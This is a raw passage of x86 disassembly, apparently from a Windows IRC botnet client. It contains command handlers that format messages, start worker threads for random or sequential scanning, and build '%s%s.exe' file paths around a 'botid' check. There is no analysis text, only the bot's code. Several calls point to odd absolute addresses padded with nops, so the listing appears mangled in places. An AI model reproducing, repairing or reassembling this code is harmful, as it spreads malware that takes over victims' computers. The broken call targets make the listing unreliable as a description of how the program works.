		call	sub_40D679
		add	esp, 20h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_411EB8:				; CODE XREF: sub_40EE72+300Fj
		push	edi
		call	sub_41781F
		push	[ebp+arg_18]
		mov	[ebp+var_330], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		add	esp, 0Ch
		cmp	eax, 2
		mov	[ebp+var_32C], eax
		jnb	short loc_411EF1
		push	2
		pop	eax
		mov	[ebp+var_32C], eax

loc_411EF1:				; CODE XREF: sub_40EE72+3074j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_411EFE
		mov	[ebp+var_32C], ecx

loc_411EFE:				; CODE XREF: sub_40EE72+3084j
		push	[ebp+arg_10]
		call	sub_41781F
		cmp	eax, 270Fh
		pop	ecx
		mov	[ebp+var_328], eax
		jbe	short loc_411F1E
		mov	[ebp+var_328], 270Fh

loc_411F1E:				; CODE XREF: sub_40EE72+30A0j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_411F74
		mov	[ebp+arg_24], offset dword_42ACB0

loc_411F37:				; CODE XREF: sub_40EE72+30E4j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411F5A
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_411F37
		jmp	short loc_411F74
; ---------------------------------------------------------------------------

loc_411F5A:				; CODE XREF: sub_40EE72+30D6j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx

loc_411F74:				; CODE XREF: sub_40EE72+30BCj
					; sub_40EE72+30E6j
		cmp	[ebp+var_330], ebx
		jz	loc_414039
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_411FBB
		cmp	byte ptr [edi],	23h
		jz	short loc_411FBB
		push	edi
		lea	eax, [ebp+var_444]
		push	10h
		push	eax
		call	sub_41782A
		push	78h
		push	edi
		call	sub_418F50
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_304], eax
		jmp	loc_41208F
; ---------------------------------------------------------------------------

loc_411FBB:				; CODE XREF: sub_40EE72+3117j
					; sub_40EE72+311Cj
		cmp	[ebp+var_9C7], bl
		jnz	short loc_411FDD
		cmp	[ebp+var_9C6], bl
		jnz	short loc_411FDD
		cmp	[ebp+var_9B6], bl
		jnz	short loc_411FDD
		push	offset unk_431694
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_411FDD:				; CODE XREF: sub_40EE72+314Fj
					; sub_40EE72+3157j ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_43AD3C
		mov	al, [ebp+var_9C7]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_9B6], bl
		jz	short loc_412089
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_41207D

loc_41205B:				; CODE XREF: sub_40EE72+3209j
		cmp	eax, ebx
		jz	short loc_41207D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_41205B

loc_41207D:				; CODE XREF: sub_40EE72+31E7j
					; sub_40EE72+31EBj
		mov	[ebp+var_304], 1
		jmp	short loc_41208F
; ---------------------------------------------------------------------------

loc_412089:				; CODE XREF: sub_40EE72+31C1j
		mov	[ebp+var_304], ebx

loc_41208F:				; CODE XREF: sub_40EE72+3144j
					; sub_40EE72+3215j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_30C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_308], eax
		mov	edi, 80h
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4120E0

loc_4120CD:				; CODE XREF: sub_40EE72+3291j
		push	esi

loc_4120CE:				; CODE XREF: sub_40EE72+327Bj
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_41210B
; ---------------------------------------------------------------------------

loc_4120E0:				; CODE XREF: sub_40EE72+3259j
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4120EF
		cmp	byte ptr [eax],	23h
		jnz	short loc_4120EF
		push	eax
		jmp	short loc_4120CE
; ---------------------------------------------------------------------------

loc_4120EF:				; CODE XREF: sub_40EE72+3273j
					; sub_40EE72+3278j
		mov	esi, offset aF	; "#f"
		push	offset byte_436EDC
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4120CD
		mov	[ebp+var_3B4], bl

loc_41210B:				; CODE XREF: sub_40EE72+326Cj
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_41211D
		mov	eax, offset aSequential	; "Sequential"

loc_41211D:				; CODE XREF: sub_40EE72+32A4j
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_431610
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		call	near ptr 2680AA6h
		nop
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4121AB

loc_412195:				; CODE XREF: sub_40EE72+3337j
		cmp	[ebp+var_300], ebx
		jnz	loc_41460C
		push	32h
		call	near ptr 2610F41h
		nop
		jmp	short loc_412195
; ---------------------------------------------------------------------------

loc_4121AB:				; CODE XREF: sub_40EE72+3321j
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset unk_4315C8
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_4121BC:				; CODE XREF: sub_40EE72+279Aj
					; sub_40EE72+27B1j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_440808[eax], bl
		jz	loc_414F47
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_4315BC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_4405F0[eax], 73h
		jnz	loc_414F47
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_440808
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"

loc_4122A7:				; CODE XREF: sub_40EE72+3532j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_4122D4:				; CODE XREF: sub_40EE72+276Cj
					; sub_40EE72+2783j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_440808[eax], bl
		jz	loc_414F47
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_4405F0[eax], 73h
		jnz	loc_414F47
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_440808
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_4122A7
; ---------------------------------------------------------------------------

loc_4123A9:				; CODE XREF: sub_40EE72+273Ej
					; sub_40EE72+2755j
		push	edi
		call	dword_43ADD8
		push	[ebp+arg_18]
		mov	[ebp+var_474], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_480], eax
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_47C], eax
		lea	eax, [ebp+var_500]
		mov	[ebp+var_504], esi
		push	eax
		call	sub_418C10
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], edi
		push	[ebp+var_47C]
		mov	[ebp+var_468], eax
		push	[ebp+var_480]
		push	[ebp+var_474]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_431550
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_478], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_504]
		push	ebx
		push	eax
		push	offset byte_415E37
		push	ebx
		push	ebx
		call	near ptr 2680AA6h
		nop
		mov	ecx, [ebp+var_478]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_41248B

loc_412475:				; CODE XREF: sub_40EE72+3617j
		cmp	[ebp+var_464], ebx
		jnz	loc_4144E5
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_412475
; ---------------------------------------------------------------------------

loc_41248B:				; CODE XREF: sub_40EE72+3601j
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset unk_431504
		jmp	loc_4144D6
; ---------------------------------------------------------------------------

loc_41249C:				; CODE XREF: sub_40EE72+2710j
					; sub_40EE72+2727j
		push	edi
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_314], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_318], eax
		lea	eax, [ebp+var_398]
		push	[ebp+var_8C]
		mov	[ebp+var_420], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_304], eax
		push	[ebp+var_318]
		lea	eax, [ebp+var_418]
		mov	[ebp+var_308], edi
		push	eax
		push	[ebp+var_314]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_4314B8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	10h
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		push	offset sub_407BDE
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_412588

loc_412572:				; CODE XREF: sub_40EE72+3714j
		cmp	[ebp+var_300], ebx
		jnz	loc_4144E5
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_412572
; ---------------------------------------------------------------------------

loc_412588:				; CODE XREF: sub_40EE72+36FEj
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset unk_431464
		jmp	loc_4144D6
; ---------------------------------------------------------------------------

loc_412599:				; CODE XREF: sub_40EE72+26E2j
					; sub_40EE72+26F9j
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		push	0FFh
		lea	eax, [ebp+var_680]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		mov	[ebp+var_57C], ebx
		call	sub_41781F
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4125F5
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_4125FB
; ---------------------------------------------------------------------------

loc_4125F5:				; CODE XREF: sub_40EE72+376Dj
		mov	[ebp+var_570], ebx

loc_4125FB:				; CODE XREF: sub_40EE72+3781j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_412612
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412618
; ---------------------------------------------------------------------------

loc_412612:				; CODE XREF: sub_40EE72+378Fj
		mov	[ebp+var_574], ebx

loc_412618:				; CODE XREF: sub_40EE72+379Ej
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_568], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_431428
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	16h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4126C9

loc_4126B3:				; CODE XREF: sub_40EE72+3855j
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_4126B3
; ---------------------------------------------------------------------------

loc_4126C9:				; CODE XREF: sub_40EE72+383Fj
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset unk_4313D8
		jmp	loc_4128CC
; ---------------------------------------------------------------------------

loc_4126DA:				; CODE XREF: sub_40EE72+26B4j
					; sub_40EE72+26CBj
		push	7Fh
		lea	eax, [ebp+var_76C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6EC]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_66C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_8]
		add	esp, 30h
		mov	esi, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_568], esi
		push	edi
		push	offset dword_43139C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Bh
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_4019D7
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4127AD

loc_41279B:				; CODE XREF: sub_40EE72+3939j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4127C8
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_41279B
; ---------------------------------------------------------------------------

loc_4127AD:				; CODE XREF: sub_40EE72+3927j
		nop
		call	near ptr 265031Fh
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_431354
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4127C8:				; CODE XREF: sub_40EE72+392Fj
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	esi
		jmp	loc_414619
; ---------------------------------------------------------------------------

loc_4127D8:				; CODE XREF: sub_40EE72+266Fj
					; sub_40EE72+2686j ...
		push	7Fh
		lea	eax, [ebp+var_7E8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_768]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6E8]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_668]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		push	20h
		lea	eax, [ebp+var_5E8]
		push	[ebp+arg_8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_568], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_7F0], esi
		push	edi
		push	offset unk_431314
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ah
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_7EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F0]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_7EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4128C0

loc_4128AA:				; CODE XREF: sub_40EE72+3A4Cj
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_4128AA
; ---------------------------------------------------------------------------

loc_4128C0:				; CODE XREF: sub_40EE72+3A36j
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset unk_4312CC

loc_4128CC:				; CODE XREF: sub_40EE72+2E92j
					; sub_40EE72+2FEEj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		jmp	loc_411D1F
; ---------------------------------------------------------------------------

loc_4128DD:				; CODE XREF: sub_40EE72+2641j
					; sub_40EE72+2658j
		push	7Fh
		lea	eax, [ebp+var_458]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	3Fh
		mov	[ebp+var_308], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3D8]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_41292B
		push	3Fh
		lea	eax, [ebp+var_398]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_41292B:				; CODE XREF: sub_40EE72+3AA5j
		lea	eax, [ebp+var_3D8]
		mov	[ebp+var_304], 1
		push	eax
		lea	eax, [ebp+var_458]
		push	[ebp+var_308]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_43128C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	18h
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_45C]
		push	ebx
		push	eax
		push	offset sub_40EB92
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4129B7

loc_4129A1:				; CODE XREF: sub_40EE72+3B43j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_413A62
		push	32h
		call	near ptr 2610F41h
		nop
		jmp	short loc_4129A1
; ---------------------------------------------------------------------------

loc_4129B7:				; CODE XREF: sub_40EE72+3B2Dj
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset unk_431244
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_4129C8:				; CODE XREF: sub_40EE72+2601j
					; sub_40EE72+2618j
		push	[ebp+arg_18]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_412ABF
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_6F8]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_431208
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Dh
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_40144A
		push	ebx
		push	ebx
		call	near ptr 2680AA6h
		nop
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_412AAE

loc_412A98:				; CODE XREF: sub_40EE72+3C3Aj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		call	near ptr 2610F41h
		nop
		jmp	short loc_412A98
; ---------------------------------------------------------------------------

loc_412AAE:				; CODE XREF: sub_40EE72+3C24j
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset unk_4311C0
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_412ABF:				; CODE XREF: sub_40EE72+3B67j
		push	offset unk_431178
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_412AC9:				; CODE XREF: sub_40EE72+25D3j
					; sub_40EE72+25EAj
		push	[ebp+arg_18]
		push	edi
		call	near ptr 27D0A0Dh
		nop
		test	eax, eax
		jz	short loc_412AF9
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_431144
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_41460C
; ---------------------------------------------------------------------------

loc_412AF9:				; CODE XREF: sub_40EE72+3C63j
		push	offset dword_431128
		call	sub_40AA35
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_413C09
; ---------------------------------------------------------------------------

loc_412B1B:				; CODE XREF: sub_40EE72+25A5j
					; sub_40EE72+25BCj
		push	edi
		lea	eax, [ebp+var_774]
		push	104h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_412B55
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412B55
		push	eax
		lea	eax, [ebp+var_670]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_412B55:				; CODE XREF: sub_40EE72+3CC1j
					; sub_40EE72+3CD2j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_7F4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_7F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_774]
		push	eax
		push	offset unk_4310E8
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ch
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F8]
		push	ebx
		push	eax
		push	offset sub_408DCA
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_412C0B

loc_412BF5:				; CODE XREF: sub_40EE72+3D97j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_412BF5
; ---------------------------------------------------------------------------

loc_412C0B:				; CODE XREF: sub_40EE72+3D81j
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset unk_43109C
		jmp	loc_414E02
; ---------------------------------------------------------------------------

loc_412C1C:				; CODE XREF: sub_40EE72+2577j
					; sub_40EE72+258Ej
		push	44h
		lea	eax, [ebp+var_4A0]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		push	1
		mov	[ebp+var_4A0], esi
		pop	esi
		mov	word ptr [ebp+var_470],	bx
		push	edi
		mov	[ebp+var_474], esi
		call	sub_41781F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_412C59
		mov	word ptr [ebp+var_470],	5

loc_412C59:				; CODE XREF: sub_40EE72+3DDCj
		cmp	[ebp+var_C], ebx
		jz	loc_413A62
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_413A62
		lea	eax, [ebp+var_2EC]
		push	eax
		lea	eax, [ebp+var_4A0]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2760575h
		test	eax, eax
		jnz	short loc_412CA4
		push	offset unk_431068
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_412CA4:				; CODE XREF: sub_40EE72+3E26j
		push	edi
		push	offset dword_431040
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_412CAF:				; CODE XREF: sub_40EE72+2549j
					; sub_40EE72+2560j
		push	[ebp+arg_18]
		push	offset aBotid	; "botid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E29
		lea	eax, [ebp+var_3FC]
		push	eax
		push	104h
		nop
		call	near ptr 277115Dh
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_2F8]
		push	eax
		call	sub_4159F4
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_680]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+esi+var_88]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_57C], 1
		mov	[ebp+var_578], ebx
